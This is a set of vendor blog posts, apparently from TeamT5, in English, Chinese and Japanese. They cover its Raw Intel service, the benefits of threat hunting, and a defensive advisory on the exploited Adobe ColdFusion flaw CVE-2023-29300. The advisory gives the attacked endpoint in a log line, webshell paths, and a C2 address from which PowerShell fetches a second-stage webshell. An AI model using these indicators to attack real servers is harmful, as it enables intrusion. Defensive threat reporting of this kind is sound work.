Staying ahead of emerging threats is paramount. At TeamT5, our dedicated analysts work tirelessly to research and translate findings into comprehensive threat intelligence reports. However, there are instances where traditional reports are not what customers are looking for. This is where Raw Intel comes in, offering invaluable real-time insights for cyber threat analysts.

Raw Intel serves as a crucial tool in our arsenal, providing users with detailed information gleaned from ongoing research efforts. When conducting searches on [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website), users may encounter Raw Intel objects associated with specific IP addresses, domains, or hashes. These objects represent a snapshot of our analysts' research within a certain timeframe, offering insights into targeted industries, employed malware, and adversary profiles.

Please note that Raw Intel is the preliminary results of TeamT5’s latest research. If you need further investigation and analysis to obtain the most accurate information, please [contact us]((https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website).


 
![pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png](https://uploads.teamt5.org/upload/original/pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png)

 

Raw Intel empowers [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) customers with three major advantages:

## Real-Time Response Capability
In the ever-evolving landscape of cyber threats, timing is critical. Threat intelligence reports, while valuable, may entail a delay due to human review processes. Raw Intel bridges this gap, empowering organizations to self-identify threats in near real-time. By leveraging Raw Intel, threat analysts can proactively respond to emerging threats, minimizing the risk of being caught off guard during attacks.

## Granular Threat Visibility
Raw Intel offers a granular view of potential threats, equipping security teams with detailed information about malicious IP addresses and samples. This level of insight enables precision in threat identification, facilitating the development of targeted defense strategies. With Raw Intel, organizations can mitigate the risk of false positives and enhance overall cybersecurity posture.

In conclusion, Raw Intel serves as a cornerstone in modern cyber threat analysis, offering real-time insights and granular visibility into emerging threats. By leveraging this invaluable resource, organizations can bolster their defenses and stay one step ahead in the ongoing battle against cyber adversaries.

## Access to Intel Regardless of Subscribed Items
Since ThreatVision’s Raw Intel is not dependent on the user being subscribed to any particular report, users are able to easily access snippets of intelligence that are important to them and their investigation even if they are not subscribed to the particular report that the intel is from.

 

>Learn more about how Raw Intel can help your organization by [contacting us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) today!

 
 
*image courtesy: Pixabay

Raw Intel’s Role in Modern Cyber Threat Intelligence

掌握先機對於應對新興威脅至關重要。在 TeamT5，我們的專業分析師努力不懈地進行研究，並將發現轉化為全面的威脅情資報告。然而，有時傳統報告並不見得符合客戶所需。此時就是原始情資（Raw Intel）發揮功能之際，為網路威脅分析師提供寶貴的及時見解。

原始情資是我們軍火庫中的一個關鍵工具，將持續進行的研究工作中所獲得的詳細資訊，提供給使用者。當使用者在 [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website) 上進行搜尋時，用戶可能會遇到與特定 IP 地址、域名或雜湊相關的原始情資標的。這些標的代表我們分析師在特定時間範圍內的研究概要，提供有關目標產業、使用的惡意軟體和攻擊族群檔案的見解。

 

![pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png](https://uploads.teamt5.org/upload/original/pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png)

 

提醒您，原始情資是 TeamT5 最新研究的初步結果。如果您需要進一步的調查和分析以獲得最準確的資訊，請[與我們聯繫]((https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) 。

原始情資為 ThreatVision 客戶提供了三個主要優勢：
## 及時應變能力
在網路威脅不斷演變的情況下，時機至關重要。儘管威脅情資報告很有價值，但由於人工審查流程需要時間，可能會有延遲。原始情資彌補了這一差距，使組織能夠近乎及時地自我識別威脅。透過利用原始情資，威脅分析師可以主動應對新興威脅，最大程度地減少在攻擊中措手不及的風險。

## 細化威脅的能見度
原始情資提供了對潛在威脅的細節化視角，為安全團隊提供了有關惡意 IP 地址和樣本的詳細資訊。這種洞察水準使威脅識別更加精準，有助於制定針對性的防禦策略。憑藉原始情資，組織可以降低誤報風險，增強整體網絡安全性。

## 無論訂閱的項目為何，都能獲得原始情資
不論訂閱項目為何，使用者都能輕鬆取得對他們重要的情資片段。即使未訂閱該情資來源的特定報告，也能對他們的調查有所幫助。

簡言之，原始情資在現代網路威脅分析中扮演著重要角色，提供及時見解和新興威脅的細節的能見度。透過利用這一寶貴資源，組織可以加強其防禦措施，在持續與網路威脅族群作戰中，保持領先地位。

 

>現在就[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，了解更多原始情資如何助您的組織一臂之力！

*首圖來源: Pixabay

原始情資（Raw Intel）在現今網路威脅情資中所扮演的角色為何？ 

サイバーセキュリティ保護において、新たな脅威に先手を打つことは最も重要な対策です。 TeamT5 では、専任のアナリストが精力的に調査を実施し、その結果を包括的な脅威インテリジェンスレポートにまとめています。しかし、従来のレポートが必ずしも顧客のニーズに適合するとは限りません。ここで、サイバー脅威アナリストに貴重かつリアルタイムな知見を提供するRaw Intelの出番です。


Raw Intelは、継続的な調査から得られた詳細な情報をユーザーに提供する、ThreatVision の重要なツールです。[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website)で検索を行うと、特定のIPアドレス、ドメイン、ハッシュに関連付けられているRaw Intelオブジェクトが表示される場合があります。これらのオブジェクトは、特定の期間におけるアナリストの調査概要を表しており、標的となる業界、使用されているマルウェア、攻撃者のプロファイルに関する知見を提供します。


なお、Raw Intelは TeamT5 における最新の調査結果です。最も正確な情報を取得するための更なる調査と分析が必要な場合は、当社まで[お問い合わせ](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)ください。

 
![pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png](https://uploads.teamt5.org/upload/original/pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png)
 

Raw Intelは、ThreatVision を利用する顧客に 3 つの大きなメリットをもたらします：

##リアルタイムな対応能力
日々進化するサイバー脅威に対し、タイミングは非常に重要です。そのため、脅威インテリジェンスレポートは重宝されますが、手動による
サイバー脅威は常に進化しているため、タイミングが非常に重要です。脅威インテリジェンス レポートは貴重ですが、手動によるレビュー プロセスに時間がかかるため、遅れが生じる可能性があります。Raw Intelはこのギャップを埋め、組織がほぼリアルタイムで脅威を自己識別できるようにします。つまり、Raw Intelを活用することで、脅威アナリストは新たな脅威に積極的に対応し、攻撃時に不意を突かれるリスクを最小限に抑えることができます。



##細分化された脅威の可視性
Raw Intelは潜在的な脅威を詳細に把握し、悪意のある IP アドレスやサンプルに関する詳細な情報をセキュリティ チームに提供します。このレベルの知見により、更に正確な脅威の特定が可能となり、標的を絞った防御戦略の策定が容易になります。また、Raw Intelを利用することで、組織は誤検知のリスクを軽減し、全体的なサイバーセキュリティ態勢を強化することができます。



##登録しているプランに関係なくIntelにアクセス可能
ThreatVisionのRaw Intelは、Intelの元となる特定のレポートを購読していなくても、登録しているプランに関係なく、ユーザーは自身や調査に必要とする重要なインテリジェンスの一部に簡単にアクセスできます。


結論として、Raw Intelは現代のサイバー脅威分析において、新たな脅威に対するリアルタイムの洞察と細分化された可視性を提供します。この貴重なリソースを活用することで、組織は防御を強化し、サイバー攻撃者との継続的な戦いにおいて、常に一歩先を行くことができます。


Raw Intelが組織にどのように役立つかについて、更に詳しく知りたい方は、是非お問い合わせください。

[お問い合わせ](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

 

*画像のソース:: Pixabay

今日のサイバー脅威インテリジェンスにおける Raw Intel の役割とは?

In the dynamic landscape of cybersecurity, enterprises face persistent and evolving threats that can compromise their systems and sensitive data. Compromise assessment and threat hunting play a crucial role in fortifying an enterprise's security posture. Here are five compelling reasons why these practices are essential:

### 1. Identify vulnerabilities: Enhancing Security Posture

Intrusion assessments assist organizations in identifying potential vulnerabilities in their systems. By identifying vulnerabilities in enterprise systems that may be exploited by attackers and taking further measures to repair these vulnerabilities, the overall security defense and resilience of the enterprise can be strengthened.

### 2. Protect Sensitive Data: Safeguarding Customer and Employee Information

One of the primary goals of intrusion assessment is to protect sensitive information. Whether it refers to customer data, employee details or business data, threat hunting helps prevent cybercriminals from stealing this sensitive information.

### 3. Ensure Compliance: Meeting Regulatory Requirements

In some industries, such as healthcare and finance, strict regulations require companies to conduct regular intrusion assessments to ensure compliance requirements are met.

Regular assessments using threat hunting tools not only ensure your company is compliant, but also build a complete cybersecurity strategy and resilience.

### 4. Improving Incident Response: Critical in the Face of Cyber Attacks

Compromise assessments contribute significantly to the development and improvement of incident response plans. In the event of a cyberattack, having a well-structured response plan is critical. Identifying compromises early on allows enterprises to refine and implement effective incident response strategies promptly.

### 5. Building Trust with Clients and Stakeholders: Demonstrating Proactive Security Measures

By conducting intrusion assessment and threat hunting, enterprises can send a positive message to customers and stakeholders, showing that the enterprise is actively taking measures to protect its systems and data, and build trust and confidence.

## Conclusion 

Compromise assessment and threat hunting are not just reactive measures but proactive strategies that enterprises must embrace in the face of evolving cyber threats. By identifying vulnerabilities, protecting sensitive data, ensuring compliance, improving incident response, and building trust, these practices become essential components of a comprehensive cybersecurity strategy. In a digital era where threats are constant, enterprises that prioritize these assessments are better equipped to navigate the complexities of the cyber landscape and safeguard their digital assets.

 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.

>The threat hunting tool we developed, ThreatSonar, has been adopted by many large enterprises, financial industries and managed security service providers (MSSPs).

 
>If you are an enterprise, please contact us immediately and use the product demonstration demo to fully grasp the excellent defense benefits brought by threat hunting.

>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end customers.

>https://teamt5.org/en/contact-us/


 
*key words: cyber threat hunting, threat hunting

*Picture source: pixabay

5 Benefits of Threat Hunting Strategies for Enterprises

在千變萬化的網路與資訊安全環境中，企業面臨持續且不斷變化的威脅，這些威脅可能會損害其系統和敏感資料。入侵評估（compromise assessment ）和威脅狩獵（threat hunting）在加強企業的資安防禦方面，發揮著至關重要的作用。 

以下是企業採納威脅狩獵策略的 5 個好處：

### 1. 識別漏洞：增強資安韌性

入侵評估可協助企業識別其系統中的潛在漏洞。 藉由找出企業系統內可能被攻擊者利用的漏洞，並進一步採取措施、修復這些漏洞，方能加強企業整體安全防禦與韌性。

### 2. 保護敏感資料：保護客戶和員工資訊

入侵評估的主要目標之一是保護敏感資料。無論是客戶資訊、員工詳細資訊或商業數據等機敏資訊，威脅狩獵都有助於防止網路犯罪分子竊取此類關鍵資訊。

### 3. 確保遵循法規：滿足監管要求

在某些產業，例如醫療保健和金融，嚴格的法規要求企業定期進行入侵評估，以確保滿足合規性要求。 
使用威脅狩獵工具進行定期評估，不僅可以確保公司合規，還可以建立完整的資訊安全策略與韌性。

### 4. 優化資安事件應變：面對網路攻擊至關重要

入侵評估對事件應變計畫的制定和改進，扮演關鍵角色。 如果發生網路攻擊，制定良好嚴謹的應變計畫十分重要。 及早識別危害使企業能夠及時改善和實施有效的資安事件應變策略。

### 5. 與客戶和利害關係人建立信任：展示積極主動的安全措施

進行入侵評估和威脅狩獵，企業能向客戶和利害關係人發出了正向的訊息，顯示企業積極採取措施保護其系統和數據，建立信任與信心。

## 結論

入侵評估和威脅狩獵不僅僅是應變措施，也是企業面對不斷變化的網路威脅時必須採取的主動策略。 透過識別漏洞、保護敏感資料、確保遵循法規、改進資安事件應變和建立信任，這些是企業建立全面、完整的資訊安全策略之重要組成環節。 

在威脅不斷、攻擊不止的數位時代，優先考慮入侵評估和威脅狩獵作法的企業，能夠更好地應對複雜的網路環境並保護其數位資產。

 
 
>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們研發的威脅狩獵工具 ThreatSonar 已獲許多大型企業、金融產業及資安代管服務廠商（MSSP）採用。

 
>如果您是企業，請立即連絡我們，透過產品展示 Demo，徹底掌握威脅狩獵帶來的絕佳防禦效益。

>如果您是資安代管服務廠商，請即刻聯絡我們，共同討論如何為終端客戶強化資安韌性，並且創造商機。
>https://teamt5.org/tw/contact-us/


 
 
*圖片來源: Pixabay

企業採納威脅狩獵策略的 5 個好處

絶え間なく進化するネットワークとサイバーセキュリティ環境において、企業はシステムや機密データが侵害される脅威に直面しています。侵害評価(compromise assessment)と脅威ハンティング(threat hunting)は、企業のサイバー防御を強化する上で重要な役割を果たします。

ここでは、企業が脅威ハンティング戦略を採用する 5 つのメリットについて説明します：


###1. 脆弱性の特定: サイバーレジリエンスの強化
侵入評価は、企業がシステム内の潜在的な脆弱性を特定することに役立ちます。攻撃者に悪用される可能性のある企業システムの脆弱性を特定し、これらの脆弱性を修復するためのさらなる対策を講じることで、企業全体のサイバー防御力と回復力を強化することができます。


###2. 機密データの保護: 顧客と従業員情報の保護
侵入評価の主な目的の1つは、機密情報を保護することです。顧客情報、従業員情報、ビジネスデータなどの機密情報であっても、脅威ハンティングは、サイバー犯罪者によってこれらの機密情報が盗まれるのを防ぐことに役立ちます。


###3. コンプライアンスの確保: 規制要件の適合
医療や金融などの一部の業界では、厳格な規制により、コンプライアンス要件が満たされていることを確認するため、定期的な侵入評価を実施することが義務付けられています。

脅威ハンティングツールを使用した定期的な評価は、企業のコンプライアンスを遵守していることを確認するだけでなく、完全なサイバーセキュリティ戦略とレジリエンスを構築します。


###4. インシデント対応力の向上:サイバー攻撃に直面した場合での重要性
侵入評価は、インシデント対応計画の策定と改善に大きく貢献します。サイバー攻撃が発生した場合、体系化された対応計画を持つことは極めて重要であり、侵害を早期に特定することで、企業は効果的なインシデント対応戦略を迅速に練り上げ、実施することができます。

###5. 顧客や関係者との信頼関係の構築: 積極的なセキュリティ対策の掲示
侵入評価と脅威ハンティングを実施することで、企業は顧客や関係者に、自社システムやデータを保護するための対策を積極的に講じていることを積極的に示し、信頼と信用を築くことができます。


##結論
侵入評価と脅威ハンティングは、進化し続けるサイバー脅威に直面する企業にとって、単なる緊急対応策ではなく、主動的なサイバー防御戦略です。脆弱性の特定、機密データの保護、コンプライアンスの確保、インシデント対応力の向上や信頼関係の構築を実践することで、包括的なサイバーセキュリティ戦略の不可欠な要素となります。脅威が絶えないデジタル時代において、これらの実践を優先する企業は、複雑なサイバー環境を乗り切り、デジタル資産を保護するためのより良い体制を整えることが可能になります。

 
 

>**TeamT5**の脅威ハンティングツールThreatSonarは、独自の「メモリフォレンジック」技術を搭載しており、合法なプログラムに偽装した不正プログラムを正規プログラムに注入する攻撃者の攻撃手法を特定し、悪意のあるプログラムの中継局を見つけることが可能なので、さらなる脅威の侵入をブロックできます。
>
>**ThreatSonar**が搭載している最先端の脅威ハンティング技術は、以下の潜在的な脅威を特定・発見し、企業のセキュリティ耐性を強化します：
- 実行済みのプログラム、実行予定のプログラム(Executed/Autorun programs threat hunting)
- メモリに隠された悪意のあるプログラムの検出と特定（メモリフォレンジック）
- 攻撃者のハッキングツール
- 疑わしいアーティファクト（攻撃後ホストに残された記録など）
- Living Off The Land Binaries And Scripts (LOLBAS)
- サイバーハイジーン
>
>サイバーセキュリティ環境が変化し続ける中、企業の包括的なサイバーセキュリティ戦略に脅威ハンティングを組み込むことの重要性が高まっており、重要なビジネスの機密データを保護して事業運営の堅牢性を維持し、サイバーセキュリティの強靭性を確立するのに役立ちます。

> もっと詳しく知る : [ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)


 

*画像のソース: Pixabay

企業が脅威ハンティング戦略を採用する5つのメリット

The following blog post is based on our Jan H1 Vulnerability Insights Report. TeamT5 Vulnerability Research Team is dedicated to providing timely mitigation and response guidelines to critical vulnerabilities. [Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) for more information about our vulnerability intelligence.


## Alerts of Exploiting Adobe ColdFusion

TeamT5 released mitigation and response guidelines to CVE-2023-29300 in Adobe ColdFusion. CVE-2023-29300 is a JAVA deserialization vulnerability resulting in arbitrary code execution. Adobe ColdFusion is a commercial rapid web-application development computing platform. Unauthorized threat actors can exploit CVE-2023-29300 and deploy webshell to target's devices and establish persistence. 

### Executive Summary

We assess the severity level of CVE-2023-29300 is critical and urge our customers to use this report to mitigate the effects. First, Adobe ColdFusion is widely used by large companies and organizations, with more than 3000 devices in Japan. Even worse, our investigation revealed that at least 66 Adobe ColdFusion devices in Japan has been compromised. The victims are across different sectors, including healthcare, education, and manufacturing industry. Furthermore, the Proof of Concepts (PoC) exploiting CVE-2023-29300 has been circulating in the wild. Public reports also provide the root cause analysis on CVE-2023-29300.[1]

Threat actors, including cybercriminals and state-sponsored APT groups, has been actively exploiting CVE-2023-29300 in the attacks. Specifically, we have detected that threat actors exploited CVE-2023-29300 to deploy webshells such as Behinder. Aligned with our observation, U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2023-29300 to known exploited vulnerabilities catalog on January 8, 2024.[2] We summarized the activities in the **Exploitation Status** subsection. 

Based on the exploitation status, we depicted the **Possible Attack Scenario** in this report. We also concluded the malware and IOCs in **Appendix II: Malware and Appendix III: Indicators of Compromise (IoC)**, respectively. Most importantly, we prepare a comprehensive **Mitigation and Response Advisory** for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Open-source nuclei-based vulnerability scanner
- Threat Hunting Tools, including a SIGMA rule and a nuclei-based webshell scanner.
 - SIGMA rule to check if ColdFusion server `coldfusion.exe` launches suspicious process via malicious webshell.
 - Nuclei-based webshell scanner to detect webshells deployed after exploiting CVE-2023-29300.

### Exploitation Status

CVE-2023-29300 has been actively exploited by threat actors, including cybercriminals and state-sponsored threat actors. We concluded all the related C2 in the report IoC.[3]

- Cybercriminals have exploited CVE-2023-29300 to deploy webshell in attacks. We have detected attacks against healthcare entities and Thai real estate entities.
- China-nexus APT group SLIME13 (as known as Flax Typhoon) exploited CVE-2023-29300 in the attacks.
- Notably, Chinese actors exploited CVE-2023-29300[4] in the 2023 HuWang Operation, China’s state-led penetration testing for enterprises.[5] Previously, China-nexus APT groups such as Amoeba, SLIME28, and SLIME37 have joined the HuWang Operation.



### Affected Products

ColdFusion 2018 (Update 16 and earlier versions)
 
ColdFusion 2021 (Update 6 and earlier versions)
 
ColdFusion 2023 GA Release (2023.0.0.330468)

### Mitigation and Response Advisory

#### 1. Official Patch Information

Adobe has released the official patches for CVE-2023-29300. 
- https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html

#### 2. Open-source Nuclei-based Vulnerability Scanner

Our customers can leverage the open-source nuclei-based vulnerability scanner to detect if the vulnerability is in the ColdFusion Component. 
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-29300.yaml

#### 3. Threat Hunting Tools

Cybercriminals and state-sponsored threat actors have already actively exploited CVE-2023-29300. TeamT5 vulnerability intelligence team prepared a SIGMA rule and a nuclei-based webshell scanner for our customers to detect potential threats. 

The **Threat Hunting Tools** in [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) includes:

- SIGMA rule to check if ColdFusion server `coldfusion.exe` launches suspicious process
- Nuclei-based webshell scanner to detect webshells deployed after exploiting CVE-2023-29300.

<figure>

![pic1_exploiting-adobe-cold-fusion-cve-2023-29300.png](https://uploads.teamt5.org/upload/original/pic1_exploiting-adobe-cold-fusion-cve-2023-29300.png)

<figcaption> The Nuclei-based webshell scanner
</figcaption>
</figure> 
 
Our customers can download all tools from the **Threat Hunting Tools** in [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website).

## Possible Attack Scenario

Threat actors have to first abuse the unauthenticated ColdFusion Component (CFC) endpoint to exploit CVE-2023-29300. Public proof of concepts has exposed a ColdFusion Component endpoint `/CFIDE/adminapi/accessmanager.cfc` that also been exploited in the wild. Our customers can check if your ColdFusion Component endpoint has been attacked with following IIS log. 

`C:\inetpub\logs\LogFiles\W3SVC1\u_ex240112.log:2024-01-12 08:12:12 172.17.0.1 POST /CFIDE/adminapi/accessmanager.cfc _cfclient=true&method=foo 443 - 172.17.0.2 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2062.124+Safari/537.36 - 404 0 2 1466`

Our customers can also leverage the open-source nuclei-based webshell scanner to detect if the vulnerability is in the ColdFusion Component. 
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-29300.yaml

CVE-2023-29300 is a deserialization vulnerability originated from the Web Distributed Data eXchange (WDDX) library. Once exploited, the vulnerability will allows the threat actors to load the payload via JNDI injection, connecting to the C2 and execute arbitrary codes.

The threat actors can deploy webshell to ColdFusion after successfully exploited CVE-2023-29300. With such webshell exists, the threat actors can still access ColdFusion Component even after patching the vulnerability. Our analysis found that more than 1% of the ColdFusion Components in Japan has been compromised. The webshells contains following malicious URI:
- COLDFUSION_SERVER/cf_scripts/config.cfm
- COLDFUSION_SERVER/cf_scripts/123.cfm
- COLDFUSION_SERVER/cf_scripts/system.cfm
- COLDFUSION_SERVER/cf_scripts/classes/GetVars.cfm
- COLDFUSION_SERVER/cf_scripts/classes/ckeditor.cfm

Based on the research, we provide a nuclei-based webshell scanner and a SIGMA rule for our customers to check if your ColdFusion Component endpoint has been compromised, and the nuclei-based webshell scanner can identify implanted webshells as follows. Our customers can download the tools from The **Threat Hunting Tools** in [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website).

Notably, we also detected that Chinese threat actors developed webshell designed for ColdFusion Markup, PowerShell[5]. PowerShell will download the second stage webshell from C2 `http://113.141.91.61:63211/11.aspx`. The second-stage webshell is Behinder[6], a famous open-source webshell in Chinese threat actors.

### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>Behinder</td>
 <td>Webshell</td>
 <td>Behinder is a webshell developed by Chinese actor. It has different platform versions, such as PHP, ASP and JSP. Behinder loads an AES-encrypted binary payload which is difficult to detect by general firewall.</td>
 <td>Open-source</td>
 <td>2020.06</td>
 </tr>
</table>
 
### Appendix II: Indicators of Compromise (IoC)

**SHA-256**
 
```
hash= webshell
cb493680d1a8ee7a70a2d339ece0b190db02fba4ba6af3b2c26a6b4841902d52
d6910571564cc4c61b1277334701c612fd3a25b96b63b267d64fcf48a5998254

```

```c2-IP= IP
113.141.91.61
```

### Appendix III: Other critical CVEs

TeamT5 also provides analysis of other caitical CVEs in **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please [contact TeamT5](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) for more information.

 
 

[1] https://blog.projectdiscovery.io/adobe-coldfusion-rce/

[2] https://www.cisa.gov/news-events/alerts/2024/01/08/cisa-adds-six-known-exploited-vulnerabilities-catalog

[3] https://github.com/gobysec/Research/blob/main/Adobe_Coldfusion_remote_code_execution_vulnerability_Analysis_(CVE-2023-38204)_zh_CN.md

[4] The HuWang Operation is China’s state-led penetration testing or red teaming operation for state-owned enterprises and critical information infrastructure (CII) operators, hosted by the Ministry of Public Security every summer. We have previously discovered that several APT groups such as Amoeba, SLIME28, and SLIME37 have joined China’s HuWang Operation.

[5] SHA-256: cb493680d1a8ee7a70a2d339ece0b190db02fba4ba6af3b2c26a6b4841902d52

[6] d6910571564cc4c61b1277334701c612fd3a25b96b63b267d64fcf48a5998254

CVE-2023-29300: Adobe ColdFusion Vulnerability

本文改寫自 2024 年 1 月第一期的漏洞情資報告（VIR 2024 June H1）。
TeamT5 漏洞研究團隊致力於針對重大漏洞提供即時的應對措施與緩解方案。如欲進一步了解 TeamT5 的漏洞情資報告，[請與我們聯繫](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)。

>**CVE-2023-29300: Adobe ColdFusion 漏洞**
 
>CVE-2023-29300 是出現在 Adobe 旗下應用程式開發平台 ColdFusion 的 JAVA 反序列化漏洞。該漏洞將導致任意程式碼執行。未經授權的威脅行動者可利用 CVE-2023-29300 將 Webshell 部署到目標設備。


## Alerts of Exploiting Adobe ColdFusion

TeamT5 released mitigation and response guidelines to CVE-2023-29300 in Adobe ColdFusion. CVE-2023-29300 is a JAVA deserialization vulnerability resulting in arbitrary code execution. Adobe ColdFusion is a commercial rapid web-application development computing platform. Unauthorized threat actors can exploit CVE-2023-29300 and deploy webshell to target's devices and establish persistence. 

### Executive Summary

We assess the severity level of CVE-2023-29300 is critical and urge our customers to use this report to mitigate the effects. First, Adobe ColdFusion is widely used by large companies and organizations, with more than 3000 devices in Japan. Even worse, our investigation revealed that at least 66 Adobe ColdFusion devices in Japan has been compromised. The victims are across different sectors, including healthcare, education, and manufacturing industry. Furthermore, the Proof of Concepts (PoC) exploiting CVE-2023-29300 has been circulating in the wild. Public reports also provide the root cause analysis on CVE-2023-29300.[1]

Threat actors, including cybercriminals and state-sponsored APT groups, has been actively exploiting CVE-2023-29300 in the attacks. Specifically, we have detected that threat actors exploited CVE-2023-29300 to deploy webshells such as Behinder. Aligned with our observation, U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2023-29300 to known exploited vulnerabilities catalog on January 8, 2024.[2] We summarized the activities in the **Exploitation Status** subsection. 

Based on the exploitation status, we depicted the **Possible Attack Scenario** in this report. We also concluded the malware and IOCs in **Appendix II: Malware and Appendix III: Indicators of Compromise (IoC)**, respectively. Most importantly, we prepare a comprehensive **Mitigation and Response Advisory** for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Open-source nuclei-based vulnerability scanner
- Threat Hunting Tools, including a SIGMA rule and a nuclei-based webshell scanner.
 - SIGMA rule to check if ColdFusion server `coldfusion.exe` launches suspicious process via malicious webshell.
 - Nuclei-based webshell scanner to detect webshells deployed after exploiting CVE-2023-29300.

### Exploitation Status

CVE-2023-29300 has been actively exploited by threat actors, including cybercriminals and state-sponsored threat actors. We concluded all the related C2 in the report IoC.[3]

- Cybercriminals have exploited CVE-2023-29300 to deploy webshell in attacks. We have detected attacks against healthcare entities and Thai real estate entities.
- China-nexus APT group SLIME13 (as known as Flax Typhoon) exploited CVE-2023-29300 in the attacks.
- Notably, Chinese actors exploited CVE-2023-29300[4] in the 2023 HuWang Operation, China’s state-led penetration testing for enterprises.[5] Previously, China-nexus APT groups such as Amoeba, SLIME28, and SLIME37 have joined the HuWang Operation.



### Affected Products

ColdFusion 2018 (Update 16 and earlier versions)
 
ColdFusion 2021 (Update 6 and earlier versions)
 
ColdFusion 2023 GA Release (2023.0.0.330468)

### Mitigation and Response Advisory

#### 1. Official Patch Information

Adobe has released the official patches for CVE-2023-29300. 
- https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html

#### 2. Open-source Nuclei-based Vulnerability Scanner

Our customers can leverage the open-source nuclei-based vulnerability scanner to detect if the vulnerability is in the ColdFusion Component. 
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-29300.yaml

#### 3. Threat Hunting Tools

Cybercriminals and state-sponsored threat actors have already actively exploited CVE-2023-29300. TeamT5 vulnerability intelligence team prepared a SIGMA rule and a nuclei-based webshell scanner for our customers to detect potential threats. 

The **Threat Hunting Tools** in [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) includes:

- SIGMA rule to check if ColdFusion server `coldfusion.exe` launches suspicious process
- Nuclei-based webshell scanner to detect webshells deployed after exploiting CVE-2023-29300.

<figure>

![pic1_exploiting-adobe-cold-fusion-cve-2023-29300.png](https://uploads.teamt5.org/upload/original/pic1_exploiting-adobe-cold-fusion-cve-2023-29300.png)

<figcaption> The Nuclei-based webshell scanner
</figcaption>
</figure> 
 
Our customers can download all tools from the **Threat Hunting Tools** in [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website).

## Possible Attack Scenario

Threat actors have to first abuse the unauthenticated ColdFusion Component (CFC) endpoint to exploit CVE-2023-29300. Public proof of concepts has exposed a ColdFusion Component endpoint `/CFIDE/adminapi/accessmanager.cfc` that also been exploited in the wild. Our customers can check if your ColdFusion Component endpoint has been attacked with following IIS log. 

`C:\inetpub\logs\LogFiles\W3SVC1\u_ex240112.log:2024-01-12 08:12:12 172.17.0.1 POST /CFIDE/adminapi/accessmanager.cfc _cfclient=true&method=foo 443 - 172.17.0.2 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2062.124+Safari/537.36 - 404 0 2 1466`

Our customers can also leverage the open-source nuclei-based webshell scanner to detect if the vulnerability is in the ColdFusion Component. 
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-29300.yaml

CVE-2023-29300 is a deserialization vulnerability originated from the Web Distributed Data eXchange (WDDX) library. Once exploited, the vulnerability will allows the threat actors to load the payload via JNDI injection, connecting to the C2 and execute arbitrary codes.

The threat actors can deploy webshell to ColdFusion after successfully exploited CVE-2023-29300. With such webshell exists, the threat actors can still access ColdFusion Component even after patching the vulnerability. Our analysis found that more than 1% of the ColdFusion Components in Japan has been compromised. The webshells contains following malicious URI:
- COLDFUSION_SERVER/cf_scripts/config.cfm
- COLDFUSION_SERVER/cf_scripts/123.cfm
- COLDFUSION_SERVER/cf_scripts/system.cfm
- COLDFUSION_SERVER/cf_scripts/classes/GetVars.cfm
- COLDFUSION_SERVER/cf_scripts/classes/ckeditor.cfm

